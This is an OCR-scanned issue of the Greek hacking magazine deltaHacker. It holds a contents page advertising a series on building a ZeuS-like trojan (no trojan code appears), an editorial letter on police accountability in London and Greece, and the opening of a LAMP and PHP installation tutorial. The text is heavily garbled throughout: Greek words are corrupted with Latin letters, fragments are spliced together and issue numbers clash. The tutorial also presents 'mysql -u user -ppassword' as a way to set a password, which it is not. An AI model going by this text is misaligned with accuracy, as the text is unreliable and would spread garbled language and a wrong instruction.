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Long Walks Edition 


ἵ τεύχος 628 - 
Σεπτέµβρης 2013 # Τιμή τεύχους 4€ 


Φορητό πειρατικό κουτί, 
όχι κατ’ ανάγκη για πειρατές. 
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Ξεκινήστε TNV ανάπτυξη εφαρμογών web 
Δημιουργήστε τη δική σας διανοµή Android 
Σπιτικό Trojan Horse, που μιμείται το θρυλικό Zeus! 


tefhos 240 


ΠΓΩΙΣΧΩΙἴΣΥΟ 


εντιτορια 


Όχι και TO τόσο τυχαίες σκέψεις, 
σε όχι και τόσο τυχαία σειρά 


σνειλ μει 


Γιατί ο Θείος Ακάκιος συµπάθησε τους 
αστυνομικούς στο Λονδίνο; 


Web development 


σε περιβάλλον LAMP [μέρος 1] 
Στη νέα σειρά που ξεκινάμε μαθαίνουμε όλα 
τα μυστικά της στοίβας Linux-Apache-MySQL- 
PHP, βλέπουμε πώς μπορούμε να την αξιοποι- 
ἤσουμε και φυσικά KVATITUGOOULE TIC δικές 
μας εφαρμογές web! 


Ενα πειρατικο κουτι, 
µε ro Raspberry Pi 


Για ασφαλές, διακριτικό file sharing χωρίς 
το φόβο του Μεγάλου Αδελφού 


Μελετη και κατασκευη 
Λούρειων 'Innov, μέρος 4 


Ολοκληρώνουμε τη σειρά µας εξηγώντας πώς 
µπορεί κάποιος να φτιάξει ἕνα Trojan που θα 
μιμεῖται τη συμπεριφορά του θρυλικού ZeuS! 


Το ὀικο σας Android, 
µε αγάπη ano το CyanogenMod 


Χτίζουμε ---ναι, δµείς--- τη δική µας εκδοχή του 
Android, βασιζόμενοι oro CyanogenMod 


The Enigma Reborn 
[μέρος 4, τελευταἰο] 


Δημιουργούμε ένα ωραιότατο περιβάλλον ypa- 
φικών, για TOV ωραιότατο εξοµοιωτή της Egima 


H κοπιώὀης oónpgiroupyia 
TOU CyanogenMod 


Και µετά την προετοιμασία του ClockWorkMod, 
έρχεται η στιγµή της δόξας! 


Κανονικες εκφρασεις εν ὀρασει 
Μελετάµε μερικά ρεαλιστικά παραδείγματα 


regular expressions, µε Ιδιαίτερη διδακτική αξία 
αλλά και χρησιμότητα 


Εκδότης / Διευθυντής Χρήστος Βαρελάς 

Αρχισυντάκτης Παναγιώτης Βαρελάς 

Σύμβουλοι ἐκδοσης Νίκος Μουρατίδης, Βούλα Παυλίδου 

Σύνταξη Παναγιώτης Βαρελάς, Χρήστος Βαρελὰς, Ανδρέας 


Βενιέρης, Γιώργος Γιάννου, Μανώλης Κιαγιάς, Ιωάννης 
Κονιάρης, Πέτρος Κυλαδίτης, Γιώργος Μελέκος, Νίκος 
Μουρατίδης, Νικόλαος Σηφάκης, Μέσος Παπαδόπουλος 
(TM), Χρίστος Τόμπρας 


Γραμματικἠ επιμέλεια Βούλα Παυλίδου 


Καλλιτεχνική Επιμέλεια Πέτρος Φιλιππίδης 


Το ηλεκτρονικὀ περιοδικὀ deltaHacker εἶναι συνδροµητικὀ και εκδίδεται and την Para- 
bing Creations δώδεκα φορὲς το χρόνο, κάθε μήνα. H Parabing Creations έχει την ἑδρα 
της στη Μαιώτιδος 3, 55133, Καλαμαριά. O δικτυακὸς τόπος του περιοδικού εἶναι στο 
http://deltahackergr. To email επικοινωνίας εἶναι το talk2us@deltahacker.gr και ειδικἁ 
για τις συνδρομές εἶναι το subscriptions deltahacker.gr. Οι γενικὲς πληροφορίες για τις 
συνδρομὲς παρατίθενται στο http: //deltahacker.gr/subscriptions και οι ἴδιες οι παραγγελἰες. 
γίνονται ano το http://deltahacker.gr/pdfi2order. Όλες οι απόψεις που εκφράζονται στα 
ἆρθρα δεν εκφράζουν απαραίτητα και τη γνώμη του περιοδικού. 


(5) Δύο προτάσεις για την αξιοποίηση tou Raspberry Pi σας: 


http://deltahacker.gr/?p=9583 και http://deltahacker.gr/?p=9608 
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Στη 2η χρονιά και συνεχίζουμε ακάθεκτοι! 
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Μηνιαίο περιοδικό deltaHacker, http://deltahacker.gr 


Ethical Hacking / Δίκτυα / Ασφάλεια / Προγραμματισμός / Ηλεκτρονικά 


€ twitter.com/deltaHacker 
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OVELA peur 


Αγαπητοί µου, 

Έχουμε πλέον επιστρέφεν στα πάτρια εδάφή PAL έχουμε κάτσει σαν τους 
κατεργαραίονς στον πάγκο µας. E" " 

yi 

O συγκεκριμένος πάγκος evo oto Πόρτο Γερμενό, στη σκιά δίπλα στην 
ανώρα. Κάνει ζέστη (φυσικά) παν το µόνο που ακούγεται είναι τα τζιτζίκια. 
Περνμένουμε μισοκουμυσμένου να φτάσεν η ώρα να τσυμπήσουμε κάτι. 

Έχουμε έρθεν από τις αρχές Λυγούστου και δεν το κουνάμε ρούπν. Maxpa 
η περίοδος προσαρμογής. 

«Iv σας έκανε μεγαλύτερη εντύπωση στην Αγγλία»» τους ρώτησα κάπονα 
στιγµή. 

Αμέσως ξύπνησαν όλον. 

EH κυρία Καίτη ήταν εντυπωσνασμένη µε τις συγκοινωνίες, αλλά αυτό που 
της είχε αρέσεν περισσότερο ήταν τα πάρκα, τα λουλούδια παν τα πουλιά. 


E Μαιρούλα ήταν καταχαρούμενη µε όλα αυτά τα λονδρέζικα εφαρµο- 
γίδια που είχε κατεβάσει στο αἴφον της καν της επέτρεπαν να βλέπει σε 
πραγµατικό χρόνο ὁ,τι ζητούσε η καρδιά της --την πρόβλεφη του καιρού, 
τα λεωφορεία, τους σινεµάδες, τα ραδιοταξί, τα εστιατόρια, τα πάντα. 

Όχν OTL έκανε τίποτα µε όλα αυτά τα data, βέβαια, απλά σε δουλειά να 
βρισκόμαστε. 

H εξαδέλφη δεν μπορούσε να χωνέφεν το γεγονός Ott το Λονδίνο µοιάζεν 
µε τεράστιο χωριό. TNS φαινόταν απίστευτο ότι κάθε συνοιµία έχει το δικό 
της κέντρο, τον δικό της εμπορικό δρόμο, το δικό της μεγάλο πάρκο, καν 
την δική της, νδιαίτερη, σύσταση του πληθυσμού. Πας ας πούμε στην Μπρυκ 
Aéw καν νομίζεις OTL εἶσαι έξω από Ἰνδουνστικό τέμενος. Πηγαίνενς prod 
χιλιόμετρο πιο δίπλα καν εἰσαν στο Σίτυ µε τους χρηματιστές. Κατηφορίζεις 
στο Μπρίξτον και νομίζεις ότι εἶσαι στο Κίνγκστον της Τζαμάικα. Ανεβαί- 
νεις προς Γουντ Γκρην και περνάς αίφνης από Κύπρο προς Τουρμία. 

O ανιφνός δεν απάντησε. O παλιός είναν αλλιώς, µας εξήγησε. Δεν εντυ- 
πωσιάζεταιν. 


Ούτε η μητέρα της εξαδέλφης εντυπωσιάστηκε. Αυτή επειδή civar Ἰνδονί- 
στρια. 


Εμένα, πάλι, μου κάνανε πολλά πράγματα εντύπωση καν δεν ξέρω and πού 
να αρχίσω. To πιο απρόσμενο πάντως ήταν OTL βρέθηκα να συμπαθώ τους 
αστυνομικούς. Τους Βρετανούς αστυνομικούς, εννοώ. 

H παρέα µε κοίταξε καχύποπτα όταν το είπα. Χρειάστηκε να δώσω εξη- 
γήσεις. 

«Κοντάχτε», τους λέω. «Είναι θέµα εμπιστοσύνης. Στην Αγγλία, κάθε 
φορά που ήθελα να ρωτήσω κάτι, ρώταγα αστυνομικό. Μου απαντούσαν 
αµέσως, µε το σεις και µε το σας. Στην Ελλάδα κάτι τέτοιο δεν θα µου 
περνούσε ποτέ από τον νου. Ίους βλέπω µε τις στολές τον Ῥομποκόπ, αρα- 
χτούς δίπλα στις μηχανές τους να μιλάνε στο χυνητό καν να χτυπάνε την pla 
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Σνέιλ μέιλ 


μμ“ 


φραπεδιά µετά την άλλη, καν μου έρχεται να αλλάξω πεζοδρόμιο. Εμπιστο- 
σύνηΣ Ον άνθρωποι µου φαίνονταν ανεξέλεγκτοι.» 


Μην µε παρεξηγείτε, αγαπητοί pov. Δεν εννοούσα Ott želiva, σώνει καν 
καλά, ανεξέλεγκτον. Λέω μόνο OTL έτσι μοιάζουν. Δεν είµαν σίγουρος πως 
υπάρχουν ξεκάθαρες δοµές ελέγχου και περιορισμού της εξουσίας τους. Αν 
αυθαιρετήσουν, το πιθανότερο είναν OTL θα την βγάλουν καθαρή, ἡ ότι, τέ- 
λος πάντων, θα πέσουν στα μαλακά. 

Γιατί, θα µε ρωτήσετε, στην Αγγλία δεν πέφτουν στα μαλακά! 

Κουτάχτε, δεν ξέρω. Μπορεί καν να πέφτουν. Αλλά, το θέµα δεν τελενώνεν 
εκεί. θα φέρω ένα συγκεκριµένο παράδειγµα. 

Tov Απρίλιο του 1981 είχαν γίνει στο Μπρίξτον (στο Νότιο Λονδίνο) 
εκτεταμένα επεισόδια µε την αστυνομία. Αφορμή, σύμφωνα µε τους Μπριξ- 
τονέζους, ήταν η στάση της αστυνομίας. Περπατούσες στον δρόμο και av 
ήσουν μαύρος, µελαμφός ἡ έστω OXL λευκός, σε σταματούσαν, µε το έτσι 
θέλω, Ύνα εξακρίβωση. 

Πώς λέμε Βέννος Ζευς; Kat τέτοιο. 


Τέλος πάντων, στο Μπρίξτον, µια περιοχή µε πολλούς Τζαμαϊκανούς καν 
Αφρικανούς, να σε σταματάνε κάθε τρεις καν λίγο γνα εξακρίβωση παρα- 
πάει. Κάποια στιγµή το ποτήρι ξεχείλισε και έγινε χαμός. Εκατοντάδες ον 
τραυματίες, αστυνομικοί κυρίως. Αλλά καν πολίτες. (Μπορείτε να διαβάσετε 
καν εδώ http://en.wiklpedia.org/wikl/I981 Brixton riot.) 


Όταν τελείωσαν όλα KAL καταλάγνασε ο κουρνιαχτός, ον Βρετανικές Ap- 
χές που είχαν απορήσει PE την βιανότητα των επεισοδίων αποφάσισαν να το 
φάξουν. 

Ορίστηκαν, λοιπόν, καν µέσα στα επόµενα χρόνια έγιναν δύο διαδοχυ- 
KEG ανεξάρτητες έρευνες απὀ δύο διαφορετικές επιτροπές. Όχι πια για va 
καταλογιστούν ευθύνες, αυτό είχε ήδη γίνει, αλλά για να κατανοηθούν ον 
αιτίες που είχαν οδηγήσεν στα επεισόδια. 


Ta συμπεράσματα κατατέθηκαν στη Βουλή. 


Βασικά ov επιτροπές επαλήθευαν αυτό που όλοι ήξεραν: Στο Μπρίξτον, η 
πιθανότητα να σε σταματήσουν για εξακρίβωση ήταν πράγματι μεγαλύτερη 
αν εἶσαν μαύρος από ό,τι αν είσαν λευκός. H αστυνομία, σύμφωνα pe pla 
από τις δύο εκθέσεις, συμπεριφερόταν κατά. τρόπο συστημυκώς ρατσιστικό 


(«institutionally racist»). 
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Έγιναν συζητήσεις επί 
συζητήσεων, καν τελι- 
κά αποφασίστηκε η EX 
βάθρων αλλαγή του συ- 
νολικού πλαισίου συµπε- 
ρυφοράς, αρμοδιοτήτων 
καν καταλογνσμού ευθυνών 
της αστυνομίας, καθώς 
καν η θεσμοθέτηση µιας 
ανεξάρτητης Βπιτροπής 
διερεύνησης Καταγγελιών 
γνα αστυνομική αυθαιρε- 
σία (Independent Police 
Complaints Commission). 


Φυσικά δεν εννοώ ότι 
αυτομάτως τα πράγματα 
έγιναν τέλεια” όμως θα 
συμφωνήσετε, νομίζω, πως 
ήταν ένα πρώτο βήμα. 

Είναι σημαντικό, ας πού- 
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με, να ξέρεις πως αν έχεις παράπονο από την αστυνομία, η αρχή που θα σε 
ακούσει και θα διερευνήσει τις καταγγελίες σου είναι ανεξάρτητη από την 
αστυνομία, Κι ότι µετά δεν θα έχει pa καν pov. Αν πιστοποιηθεί παρανομία, 
κατάχρηση εξουσίας, διαφθορά ἡ ὁὀ,τι άλλο, μαύρο φίδι που τους έφαγε, 
τους αστυνομικούς εννοώ. Θα τρέχουν καν δεν θα φτάνουν. 

Ας κάνουμε τώρα µια σύγκριση µε τον μηχανισμό που έχεν η δική µας 
αστυνομία YLA τον έλεγχο καν την πάταξη της αστυνομικής διαφθοράς. 
Πρόκειται yra τη Διεύθυνση Βσωτερικών Υποθέσεων (A.E.Y.) της ΕΛ.ΑΣ. Λε- 
πτομέρενες για τη δομή καν την στελέχωσή της µπορείτε να βρείτε εδώ: 
http://bit.ly/astynomiadey 

Λιαβάστε λίγο καν πείτε pov αν σας πείθεν. 


Λοιπόν εμένα δε pe πείθεν. Διαβάζω πως η διεύθυνση αυτή στελεχώνεταν 
από αξιωματικούς της Αστυνομίας καν λογοδοτεί στον αρχηγό της ΕΛΑΣ, καν 
διατηρώ τις αμφιβολίες μον. Ας φανταστούμε, γνα παράδειγµα --προς θεού, 
μόνο για παράδειγµα!-- πως η ΕΛΑΣ, ως σώμα, πάσχει από «συστημικό Pa 
τσισμό». θα περιμέναμε στα αλήθεια να κάνουν κάτι YL αυτό τα στελέχη της 
A.E.Y.5 Καν να θέλανε δεν θα μπορούσανε. Μαύρο φίδι θα τους περίμενε στη 
γωνία. 

Μετά, πάρτε το όνομα: A.E.Y. «Λιεύθυνση Εσωτερικών Υποθέσεων». 

Tuati «Εσωτερυκών»: TL σηµαίνει «Εσωτερικών Υποθέσεων»: Δηλαδή, αν η 
Αστυνομία έπασχε απὀ «συστημικό ρατσισμό» --λέμε, Αν-- αυτό θα ήταν 
εσωτερική της υπόθεση; 

Ep δεν εἶναι εσωτερική υπόθεση, µην τρελαθούμε τώρα. Ως συστημικό, το 
πρόβλημα θα μπορούσε να διαποτίζεν ολόκληρη τη δοµή του αστυνομικού 
σώματος καν όλες τις βαθμίδες της νεραρχίας. Δεν θα μπορούσε να διερευ- 
νηθεί παρά μόνον απ' έξω. To OTL εποπτεύει εισαγγελέας δεν µε καθησυχά- 
ÇEL καθόλου. Δεν αρκεί η εποπτεία. 

Βλέπετε TL εννοώ: 


Ῥκεφτόμουν, λοιπόν --Ύνα να το Υγενικεύσω λίγο-- πως ο ένας πιο σηµα- 
ντικὀς λόγος που η οργάνωση καν η λειτουργία του αγγλικού κράτους είναν 
τόσο διαφορετική από την οργάνωση καν τη λειτουργία του ελληνικού, δεν 
Είναν ούτε KANOLA ιδιαίτερη ποιότητα των Βρετανών, OVTE κάποια ιδιαίτερη 
αδυναμία των Ελλήνων, 

Είναι «απλώς» πως στην Αγγλία, σε όλα τα επίπεδα οργάνωσης του δη- 
μόσιου βίου, υπάρχουν θεσμοθετηµένον ανεξάρτητον μηχανισμοί ελέγχου καν 
ανάδρασης που και αυτοί, µε την σειρά τους, ελέγχονταν. H έμφαση Maer 
στο «ανεξάρτητοι». 


Κανένας δημόσιος λειτουργός δεν έχει το ακαταλόγιστο και κανένας δεν 
πιστεύει OTL δικανούταν να το έχει. Δεν είναν θέµα προσωπικότητας. To σύ- 
στηµα Elvar που δεν το επιτρέπει. 


Τέλος πάντων, αυτά. Για την Αγγλία ξεκίνησα να σας λέω καν κατάληξα 
να μιλάω γνα την αστυνομία, Άβυσσος η φυχή... 


Σταματώ εδώ, αλλά πρώτα κάτι άσχετο: Πώς πάτε µε τον «Πόλεμο καν 
Ενρήνη»1 Βεκινήσατε; Προχωράτε; Μην το αμελείτε. 


Do yourselves a favour που θα λέγανε καν ον Άγγλοι. 


Σας ασπάζομαν, 
θείος Ακάκιος 
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Αισχέίρν 1 
Αποσύν 


Πίνακας Ελέγχου 
deltaHacker 022 - Oh-Bee-Ess-Dee Edition Προφίλ στα forum a 
Posted by 29/07/2013, 07:39 | Published in Διαχείριση λογαριασμού 


VHROKERY H προστασία προσωπικών/ευαίσθητων δεδομένων αλλά και η ανωνυμία Αποσύνδεση 
"TX payon fu [ στο Διαδίκτυο, κάθε άλλο παρά δεδομένες είναι. Καλό εἶναι να µην το 
ν έδωσε ἀφϑΡ' ll ξεχνάμε ποτέ αυτό, ακόµη καλύτερο είναι να παίρνουμε πότε πότε και 
κανένα μέτρο προστασίας ή/και προφύλαξης. 


deltaHacker 021 - Cool Summer Edition Bol coe ἄνα ουσ Ens ος 


Posted by 30/06/2013, 09:58 | Published in 


PAREN Τα λεγόμενα SCADA είναι συστήµατα βιομηχανικού ελέγχου nov άρχισαν. 
V' ακούγονται στο ευρύ κοινό εξαιτίας των επιθέσεων που δέχονται από 
εξειδικευμένο malware. Στο deltaHacker 021 σας βάζουμε σ' έναν κόσµο psik 
ύπουλου και ανηλεούς cyber-warfare, στον οποίο τα χρησιμοποιούμενα 
όπλα στοχεύουν ακόµη και πυρηνικές εγκαταστάσεις, 


σπουδάς’ 


deltaHacker 020 - Happy Trees Edition 


Posted by 01/06/2013, 18:46 | Published in 


HAOKERI Όσο ασφαλές κι av είναι το 
αποκρυπτογραφηθεί από ráno: 
ορισμένες προῦποθέσεις, 
συζητάμε γι’ αυτές, ενώ § 
δοκιμές αποκρυ 


oZraw στο To Kali µε WiFi, στο PenTest 
Lab 


Te να Να υποθέσω ὅτι εγκαθιστάς την εκδοχή 32bit 
του Kali στις ἰδιότητες της εικονικής, 


-κὀβουλους 


μηχανής πήγοινε στο 
Hotpoynvía: 24/08/2013 
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Πλήρη άρθρα που συμπληρώνουν το περιοδικό [addenda]. To video 
podcast [netcasting -» deltaCast]. Άρθρα που µας ήρθε να γρά- 
poupe, έτσι, απλά [/dev/random]. Τα προκλητικά mind hacks. 
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Αληθινό, διασκεδαστικό hacking για όλου 
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Web development σε περιβάλλον LAMP [μέρος 1] 


LAMP: ‘Evac τεχνολογικὸς συνδυασμὸς nou αποτελεῖ την κινητήριο 
δύναμη για περισσότερο ano το 70% του web! Πρόκειται για τη λεγόμενη 
στοίβα Linux - Apache - MySQL - PHP και στη νέα σειρὰ άρθρων nou 
ξεκινάμε θα γνωρίσουμε ra μυστικὰ της, θα μάθουμε va την αξιοποιούμε 
και θα αναπτύξουμε τις δικὲς µας εφαρμογἑἐς web. =’ αυτό το πρῶτο 
ἆρθρο θα μιλήσουμε για την εγκατάσταση και την napaperponoinon 
του Apache web server, ενώ θα κάνουμε και µια εισαγωγή στον 
προγραμματισμὸ µε την PHP. 


Web development σε περιβάλλον LAMP Γμµέρα 
0” 


Πα τις ανάγκες των ἄρθρων αλλά και για τους πειραματισμούς µας θα χρησιµοποιή- 
coupe την ασφάλεια και τη ζεστασιά! ενὸς τοπικού συστήματος, στο onoio θα εγκα- 
ταστήσουμε Tov Apache, τον διερμηνέα της PHP και τη MySQL. Φυσικά, αν έχετε 
στη διἀθεσή σας ἑναν απομακρυσμένο server µε το σύστημα LAMP, µπορείτε va 
αγνοήσετε τα βήματα nou περιγράφουμε στην εισαγωγἠ µας. 


To λειτουργικὀ σύστημα στο οποίο δουλεύουμε εἶναι φυσικἀ ro Linux (το "L" του 
LAMP, βλέπετε) και συγκεκριµένα η διανομή CrunchBang, που το τελευταίο διά- 
στηµα ἐχει κερδίσει την καρδιὰ µας! Εσεἰς µπορεί να επιλέξετε οποιαδήποτε ἄλλη 
διανομὴ ἡ λειτουργικό” — ακόµα και τα Windows?. Στο δικὀ µας σύστημα, όπως και 
σε ὀλες τις διανομὲς που βασίζονται στο Debian‘, ξεκινήσαμε την εγκατάσταση του 
LAMP ως εξής: 


sudo apt-get install apache2 


Προφανώς, µε το παραπάνω εγκαθἰσταται o Apache web server. Όταν ολοκληρωθεὶ 
η διαδικασία, μπορούμε npoaiperikà ν΄ ανοίξουμε rov αγαπημένο µας web browser 
και va μεταβούμε στη διεύθυνση http://localhost. Ano εκεἰ θα διαπιστώσουμε av 
πήγαν όλα καλὰ κι αν o Apache λειτουργεἰ ἠδη. Το μήνυμα επιβεβαίωσης εἰναι ἑνα 
απλὀ "It works!" Στη συνέχεια προχωράμε στον MySQL server: 


apt-get install mysql-server mysql-client 


H αλήθεια εἶναι ότι uie TO παραπάνω εγκαθἰσταται TOGO ο server όσο κι ο λεγόμενος 
client, o οποίος αποτελεἰ το Command Line Interface (CLI) της MySQL. O client θα 
μας βοηθήσει στην εκμάθηση αλλά και στη διαχείριση των βάσεων δεδοµένων nou 
θα στήσουµε αργότερα. Κατά την εγκατάσταση του MySQL server θα πρέπει va pa- 
VOUHE προσεκτικοί: Σε κἄποιο στάδιο θα µας ζητηθεἰ να ορἰσουμε έναν κωδικό για 
τον χρήστη root? της βάσης. Av προσπεράσουµε αυτό το βήμα, μπορούμε va opi- 
OOUE KWOIKO αμέσως μετὰ το πέρας της εγκατάστασης, εκτελώντας το ακόλουθο: 


mysql -u user -ppassword 


Προφανώς, στη θἐση rou user πρέπει va δώσουμετο root και στη θἐση του password 
τον επιθυμητό KWOIKO. 


Σειρἀ ἐχει η εγκατάσταση του διερμηνέα (interpreter) της PHP, καθώς και των "συν- 
δετικὠν κρἰκων" µε τον Apache server και τον MySQL server. Πα το σκοπὀ αυτὸ 
αρκεί να δώσουμε το εξής: 


sudo apt-get install php5 libapache2-mod-php5 php5-mysql 


Όταν ολοκληρωθεί η εγκατάσταση των πακέτων και για να λάβει χώρα η σύνδεση 
μεταξύ PHP και Apache, πρέπει να επανεκκινήσουµε τον δεύτερο. AUTO γίνεται na- 
νεύκολα: 


sudo service apache2 restart 
Πλέον, η εγκατάσταση rou LAMP ἐχει ολοκληρωθεί! Για va εἰμαστε σίγουροι και 


1. Εδὠ μπορεὶ και να κυριολεκτούμε :P 

2. Το πρὠτο γράμμα στο LAMP προἑρχεται ano ro Linux. Το ἰδιο πακέτο προγραμμάτων κυκλοφορεί και σε παραλλαγὲς για ἀλλα λειτουργικά 
συστήµατα. Έτσι, υπάρχει το WAMP (για τα Windows), το MAMP (yia ro Mac OS), To SAMP (για To Solaris), το OAMP (yia To OpenBSD) και το 
iAMP (για το IBM iSeries — κι Ox! για το iOS nou σκεφτήκατε :D). Πάντως, όσα θα δούμε στη σειρἁ ἄρθρων ισχύουν για οποιοδήποτε σύστημα 
ΧΑΜΡ. 

3. Εμεἰς πάντως θα συνιστούσαμε να αποφύγετε ra Windows: H αδυναμία χρήσης ονομάτων αρχείων σε Unicode αποτελεί ενοχλητικό και 
μερικὲς φορὲς ύπουλο πρόβλημα. 

4. Σε περίπτωση χρήσης διαφορετικού συστήµατος, χρησιμοποιήστε τον αντίστοιχο packet manager. 

5. Ο συγκεκριμένος χρήστης root (κι ο κωδικός του) δεν έχει καμία σχέση µε τον χρήστη root του συστήματος. Μια καλἠ πρακτικἠ ασφαλείας 
εἶναι οι κωδικοἰ αυτών των δύο να διαφέρουν. 
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διπλά χαρούμενοι γι’ αυτό, ας δημιουργήσουμε Eva δοκιµαστικὀ αρχείο µέσα στον 
κατάλογο /var/www. Στα συστήµατα Linux, ο συγκεκριμένος κατάλογος αποτελεί το 
λεγόμενο Document Root για τον Apache. Το αρχείο nou θα δημιουργήσουμε µπορεί 
να ἐχει Eva ὀνομα του τύπου info.php και το παρακάτω περιεχόµενο: 


«?php 
phpinfo(); 
?» 


τώρα μπορούμε ν’ ανοίξουμε NGAI τον αγαπημένο pac web browser και va επισκε- 
φθούμε τη διεύθυνση http://localhost/info.php. Εφόσον η "σύνδεση" ἡ καλύτερα 
η συνεργασία μεταξὺ PHP και Apache υφίσταται, θα εμφανιστεί µια ιστοσελἰδα µε 
vav μακροσκελὴ πίνακα, γεμάτο µε πληροφορίες yia την εγκατάσταση της PHP στο 
σὺστημά µας. 


Γενικός τρόπος λειτουργίας 


H αρχιτεκτονικἠ ενός συστήματος LAMP εἶναι απλούστατη κι ο τρόπος διακίνησης 
των δεδοµένων Φαίνεται στη σχετικἠ εικόνα του άρθρου. 


Αρχικά, ο web browser του χρήστη στέλνει µία αἰτηση, η οποία ταξιδεύει µέσω του 
(δια)δικτύου και καταλήγει στον Apache. Εάν το αἰτημα αφορά σε κἄποιο ἐγγραφο 
µε κὠδικα PHP, ο Apache το προωθεἰ στον διερμηνέα της PHP για επεξεργασίἰα. Aia- 
@OPETIKG, απαντάει ο ἴδιος ο Apache αµέσως. Στην πρώτη περίπτωση, o διερμηνέας 
της PHP επεξεργάζεται το ἐγγραφο και εκτελεἰ όσα PHP scripts βρει στο εσωτερικὀ 
του. Εάν κάποιο script χρειάζεται δεδοµένα ano τη βάση πραγματοποιείται σύνδεση 
µε τον MySQL server, στον οποίο προωθείται το σχετικὀ ερώτημα. O MySQL server 
απαντάει µε τα δεδοµένα που ζητήθηκαν και, τελικά, ο διερμηνέας της PHP σχηµα- 
τίζει Eva ἐγγραφο µε όλα τα αποτελέσµατα and την εκτέλεση των PHP scripts. Με 
ἆλλα λόγια, δημιουργείται Eva ἐγγραφο που δεν EXE! οὐτε ἶχνος απὀ κὠδικα PHP. 
AUTO το ἐγγραφο προωθείται στον Apache κι αυτός µε τη σειρἁ του TO OTEAVE! στον 
web browser του χρήστη. 


Γνωριμία µε την PHP 


τώρα nou στήσαμε το σύστημα LAMP και εξετάσαµε τη γενικἠ λογική µε την οποία 
συνεργάζονται τα εξαρτἠματἁ του, μπορούμε να βουτήξουµε λἰγο τα πὀδια µας στη 
βαθιά θάλασσα της PHP. Παρά τη γλαφυρὀτητα της περιγραφἠς, εσείς δεν πρέπει ν΄ 
ανησυχείτε καθόλου. Σκοπὸς µας ἄλλωστε εἶναι μάθουμε και OX! να τρομάξουμε. Ας 
ξεκινήσουμε, λοιπὀν. 


H PHP δημιουργήθηκε το 1994 ano τον Rasmus Lerdorf. Αρχικἁ αποτελούσε Eva Perl 
Script για προσωπικἠ χρήση, αλλά κάποια στιγμὴ γράφτηκε σε C και σιγἁ-σιγἁ εξε- 
λίχθηκε σε µια ξεχωριστή γλὠσσα. To ὀνομα PHP προήλθε αρχικἁ ano τα αρχικἁ των 
λέξεων Personal Home Page. Στην πορεία ὁμῶςδ η ερμηνεία του ονόματος dAAa&g 
και υιοθέτησε την αναδρομικἠ λογική που συναντάμε στην ονομασία GNU: Σήμερα, 
PHP σηµαίνει PHP Hypertext Preprocessor :) Παρεμπιπτόντως, µιας και αναφερθή- 
kape στο GNU, σημειώστε OT! η PHP αποτελεἰ ελεύθερο λογισμικὀ και διανέμεται UNO 
την ἀδεια PHP License’. 


6. And την ἐκδοση 3 και µετά. 
7. Ἡ ddeia PHP License εἶναι συμβατή µε την ἄδεια GNU GPL, αλλά θέτει και μερικούς πρόσθετους περιορισμούς σε σχέση µε τη χρήση του 
ονόματος PHP. 
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O τρὀπος λειτουργίας ενὀς LAMP stack. Τα βέλη δείχνουν τη pon δεδοµένων 
μεταξύ των τριών υποσυστημάτων. 


H PHP εἶναι µια διερμηνευόμενη γλὠσσα προγραμματισμού (interpreted programming 
language). Στο πλαίσιο nou µας απασχολεί, η PHP εκτελείται στον διακομιστή. Αυτό 
σημαίνει oT! τα ἐγγραφα PHP εκτελούνται αποκλειστικἁ εκεἰ. H ἐξοδος ano την 
EKTEAEON τους παρέχεται στον Apache κι ano ‘Kei και πἐρα στον browser του χρή- 
στη. Το γεγονὸς ὁτι πρὀκειται για µια διερμηνευόμµενη γλὠσσα, συνεπάγεται τη γρή- 
γορη ανάπτυξη και εὐκολη τροποποίηση των εφαρμογών web. Αυτά τα προσόντα, 
πάντως, κατὰ κάποιον τρόπο "αντισταθμίζονται" ano τη σχετικἀ χαμηλή ταχύτητα 
εκτέλεσης και τον επιπρόσθετο φόρτο στη λειτουργία rou server. 


Εισαγωγἠ στο συντακτικὀ 


To συντακτικὀ της PHP εἶναι επηρεασμένο ano Tic γλὠσσες Perl, C, C++, Java και Tcl. 
Το γεγονὸς αυτό καθιστά εὐκολη την εκμάθηση της PHP σε όλους ὁσοι ἐχουν εξοικει- 
ωθεί µε κάποια ano τις προαναφερθεἰσες γλὠσσες. O κὠδικας PHP μέσα σ’ Eva èy- 
γραφο οριοθετείται µε markup tags. O διερμηνέας της PHP επεξεργάζεται οτιδήποτε 
βρίσκεται μέσα στα συγκεκριµένα tags κι αγνοεί οτιδήποτε ἄλλο. Συγκεκριµένα, OTI- 
δήποτε βρίσκεται £&o ano ra tags που οριοθετούν τον κὠδικα αντιμετωπίζεται σαν 
anAó κείμενο κι επιστρἐφεται στην ἐξοδο αυτούσιο. Όπως αντιλαμβάνεστε, αυτή n 
συμπεριφορά επιτρέπει να αναμειγνύουμε κὠδικα PHP µε HTML, για την παραγωγἠ 
ιστοσελίδων µε δυναμικὀ (OXI στατικὀ) περιεχόµενο. Υπάρχουν τἐσσερεις τρόποι για 
va επισηµάνουµε τον κὠδικά PHP μέσα σε Eva ἐγγραφο. O πιο διαδεδομένος --και 
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αυτός nou θα χρησιμοποιούμε στα παραδεἰγματὰ µας-- εἶναι στο στυλ TNG XML: 
<?php κώδικας ?» 

Ἕνας συντομότερος τρόπος εἶναι o ακὀλουθος: 
<? κώδικας ?» 


Αυτἠ η σύνταξη, óuoc, προὐποθέτει ὁτι £youpe επέμβει στις default ρυθμίσεις του 
αρχείου php.ini κι έχουμε δώσει την τιµή 1 στην επιλογἡ short open tag. Ἑνας ἆλ- 
λος τρόπος yia να ενσωματώσουμε κὠδικα PHP σε Eva ἐγγραφο, εἶναι µε τη χρήση 
TOU tag ονόματι script: 


«script language="php"> κώδικας </script> 
Τέλος, υπάρχει και η µορφἠ nou ακολουθεί τα πρότυπα της ASP: 
<% κώδικας %> 


AuTÓG ο τρόπος ενσωμάτωσης κώδικα απαιτεἰ την ενεργοποίηση της επιλογἠς asp_ 
tags, στο αρχείο php.ini. 


Τα σχόλια σε ἑνα npóypaupga εἶναι εντελώς ἄχρηστα yia Tov interpreter ἡ τον 
compiler, αλλά ιδιαίτερα χρήσιμα για τον ἄνθρωπο. Στην PHP, τα σχόλια σηµατοδο- 
τούνται µε τρεις διαφορετικούς τρόπους. O πρώτος εἶναι δανεισμένος ano την C/ 
C++ και προβλέπει τη χρήση δύο slashes (//). O διερμηνέας αγνοεί οτιδήποτε εμ- 
φανίζεται μετὰ ano τα δύο slashes και μέχρι το τέλος της γραμμὴς ἡ το "κλείσιμο" 
TOU κὠδικα. Τα ἴδια ισχύουν και για τα σχόλια που σηματοδοτούνται µε τη δίεση (4), 
όπως στα shell scripts. Τέλος, υπάρχουν και τα σχόλια που εκτείνονται σε πολλα- 
